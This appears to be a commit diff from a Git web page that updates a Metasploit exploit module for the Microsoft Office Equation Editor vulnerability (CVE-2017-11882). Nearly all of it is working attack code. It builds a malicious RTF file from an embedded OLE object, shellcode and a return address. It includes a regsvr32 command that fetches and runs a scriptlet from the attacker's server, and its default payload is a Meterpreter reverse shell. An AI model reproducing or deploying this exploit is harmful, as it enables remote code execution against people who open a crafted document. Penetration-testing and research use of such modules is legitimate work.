Update office_ms17_11882.rb
Austin
GitHub
parent
960893b99d
commit
cb7f173811
|
|
@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
|
|
@ -38,6 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Payload' => {
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'thread',
|
||||
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
|
||||
|
|
@ -55,54 +57,107 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
|
||||
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
|
||||
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata '
|
||||
header << '01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff'
|
||||
header << '0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffff'
|
||||
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e007400720079000000000000000000000000000000000000000000000000000000'
|
||||
header << '00000000000000000000000000000000000016000500ffffffffffffffff0200000002ce020000000000c0000000000000460000000000000000000000008020ce'
|
||||
header << 'a5613cd30103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000'
|
||||
header << '000000000000000000000000000000000a000201ffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000000000'
|
||||
header << '000000000000001400000000000000010043006f006d0070004f0062006a0000000000000000000000000000000000000000000000000000000000000000000000'
|
||||
header << '0000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000'
|
||||
header << '0001000000660000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000'
|
||||
header << '00000000000000000000000012000201ffffffff04000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000003'
|
||||
header << '0000000600000000000000feffffff02000000fefffffffeffffff050000000600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffff0100000208000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
|
||||
header << '00000100feff030a0000ffffffff02ce020000000000c000000000000046170000004d6963726f736f6674204571756174696f6e20332e30000c00000044532045'
|
||||
header << '71756174696f6e000b0000004571756174696f6e2e3300f439b2710000000000000000000000000000000000000000000000000000000000000000000000000000'
|
||||
header << "00000300040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n"
|
||||
header << '01050000020000000b0000004571756174696f6e2e33000000000000000000000'
|
||||
header << 'c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff'
|
||||
header << '09000600000000000000000000000100000001000000000000000010000002000'
|
||||
header << '00001000000feffffff0000000000000000ffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff040'
|
||||
header << '00000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0'
|
||||
header << '07400720079000000000000000000000000000000000000000000000000000000'
|
||||
header << '00000000000000000000000000000000000016000500ffffffffffffffff02000'
|
||||
header << '00002ce020000000000c0000000000000460000000000000000000000008020ce'
|
||||
header << 'a5613cd30103000000000200000000000001004f006c006500000000000000000'
|
||||
header << '00000000000000000000000000000000000000000000000000000000000000000'
|
||||
header << '000000000000000000000000000000000a000201ffffffffffffffffffffffff0'
|
||||
header << '00000000000000000000000000000000000000000000000000000000000000000'
|
||||
header << '000000000000001400000000000000010043006f006d0070004f0062006a00000'
|
||||
header << '00000000000000000000000000000000000000000000000000000000000000000'
|
||||
header << '0000000000000000000000000000120002010100000003000000ffffffff00000'
|
||||
header << '00000000000000000000000000000000000000000000000000000000000000000'
|
||||
header << '0001000000660000000000000003004f0062006a0049006e0066006f000000000'
|
||||
header << '00000000000000000000000000000000000000000000000000000000000000000'
|
||||
header << '00000000000000000000000012000201ffffffff04000000ffffffff000000000'
|
||||
header << '00000000000000000000000000000000000000000000000000000000000000003'
|
||||
header << '0000000600000000000000feffffff02000000fefffffffeffffff05000000060'
|
||||
header << '0000007000000feffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
header << 'ffffff01000002080000000000000000000000000000000000000000000000000'
|
||||
header << '00000000000000000000000000000000000000000000000000000000000000000'
|
||||
header << '00000100feff030a0000ffffffff02ce020000000000c00000000000004617000'
|
||||
header << '0004d6963726f736f6674204571756174696f6e20332e30000c00000044532045'
|
||||
header << '71756174696f6e000b0000004571756174696f6e2e3300f439b27100000000000'
|
||||
header << '00000000000000000000000000000000000000000000000000000000000000000'
|
||||
header << "00000300040000000000000000000000000000000000000000000000000000000"
|
||||
header << "000000000000000000000000000000000000000000000000000000000000000\n"
|
||||
|
||||
|
||||
shellcode = "\x1c\x00\x00\x00\x02\x00\x9e\xc4\xa9\x00\x00\x00\x00\x00\x00\x00"
|
||||
shellcode << "\xc8\xa7\\\x00\xc4\xee[\x00\x00\x00\x00\x00\x03\x01\x01\x03\n\n\x01\x08ZZ"
|
||||
shellcode << "\xB8\x44\xEB\x71\x12\xBA\x78\x56\x34\x12\x31\xD0\x8B\x08\x8B\x09\x8B\x09"
|
||||
shellcode << "\x66\x83\xC1\x3C\x31\xDB\x53\x51\xBE\x64\x3E\x72\x12\x31\xD6\xFF\x16\x53"
|
||||
shellcode << "\x66\x83\xEE\x4C\xFF\x10\x90\x90"
|
||||
|
||||
footer = '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
|
||||
footer << '4500710075006100740069006F006E0020004E00610074006900760065000000000000000000000000000000000000000000000000000000000000'
|
||||
footer << '000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000400'
|
||||
footer << '0000C50000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
|
||||
footer << '00000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000'
|
||||
footer << '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
|
||||
footer << '0000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000000000000000'
|
||||
footer << '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
|
||||
footer << '000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000'
|
||||
footer << '0000000000000000000000000000000000000000000000000000000000000000000000000000000001050000050000000D0000004D45544146494C'
|
||||
footer << '4550494354003421000035FEFFFF9201000008003421CB010000010009000003C500000002001C0000000000050000000902000000000500000002'
|
||||
footer << '4500710075006100740069006F006E0020004E006100740069007600650000000'
|
||||
footer << '00000000000000000000000000000000000000000000000000000'
|
||||
footer << '000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000'
|
||||
footer << '00000000000000000000000000000000000000000000000000000000000000400'
|
||||
footer << '0000C5000000000000000000000000000000000000000000000000'
|
||||
footer << '0000000000000000000000000000000000000000000000000000000000000000'
|
||||
footer << '00000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00'
|
||||
footer << '000000000000000000000000000000000000000000000000000000'
|
||||
footer << '0000000000000000000000000000000000000000000000000000000000000000'
|
||||
footer << '000000000000000000000000000000000000000000000000000000'
|
||||
footer << '0000000000000000000000000000000000000000000000000000000000FFFFFF'
|
||||
footer << 'FFFFFFFFFFFFFFFFFF000000000000000000000000000000000000'
|
||||
footer << '00000000000000000000000000000000000000000000000000000000000000000'
|
||||
footer << '00000000000000000000000000000000000000000000000000000'
|
||||
footer << '00000000000000000000000000000000000000000000000000000000000000000'
|
||||
footer << '0000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000'
|
||||
footer << '00000000000000000000000000000000000000000000000000000000000000000'
|
||||
footer << '00000000000000001050000050000000D0000004D45544146494C'
|
||||
footer << '4550494354003421000035FEFFFF9201000008003421CB010000010009000003C'
|
||||
footer << '500000002001C0000000000050000000902000000000500000002'
|
||||
footer << '0101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A001201E1200000026060F001A00FFFFFFFF'
|
||||
footer << '000010000000C0FFFFFFC6FFFFFFE01D0000660100000B00000026060F000C004D61746854797065000020001C000000FB0280FE00000000000090'
|
||||
footer << '01000000000402001054696D6573204E657720526F6D616E00FEFFFFFF6B2C0A0700000A0000000000040000002D0100000C000000320A60019016'
|
||||
|
|
@ -123,9 +178,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
footer << "}}}\n"
|
||||
footer << '\par}' + "\n"
|
||||
|
||||
shellcode = "\x1c\x00\x00\x00\x02\x00\x9e\xc4\xa9\x00\x00\x00\x00\x00\x00\x00\xc8\xa7\\\x00\xc4\xee[\x00\x00\x00\x00\x00\x03\x01\x01\x03\n\n\x01\x08ZZ"
|
||||
shellcode << "\xB8\x44\xEB\x71\x12\xBA\x78\x56\x34\x12\x31\xD0\x8B\x08\x8B\x09\x8B\x09\x66\x83\xC1\x3C\x31\xDB\x53\x51\xBE\x64\x3E\x72\x12\x31\xD6\xFF\x16\x53\x66\x83\xEE\x4C\xFF\x10"
|
||||
shellcode << "\x90\x90"
|
||||
|
||||
payload = shellcode
|
||||
payload += [0x00402114].pack("V")
|
||||
|
|
@ -133,13 +185,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
payload += "regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll"
|
||||
payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first
|
||||
payload = header + payload + footer
|
||||
|
||||
path = ::File.join(Msf::Config.local_directory, datastore['FILENAME'])
|
||||
::File.open(path, 'wb') do |fd|
|
||||
fd.write(payload)
|
||||
fd.close
|
||||
end
|
||||
print_good("Wrote payload to #{path}")
|
||||
payload
|
||||
end
|
||||
|
||||
|
||||
|
|
@ -207,6 +253,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
|
||||
def primer
|
||||
generate_rtf
|
||||
file_create(generate_rtf)
|
||||
end
|
||||
end
|
||||
|
|
|
|||
Loading…
Reference in New Issue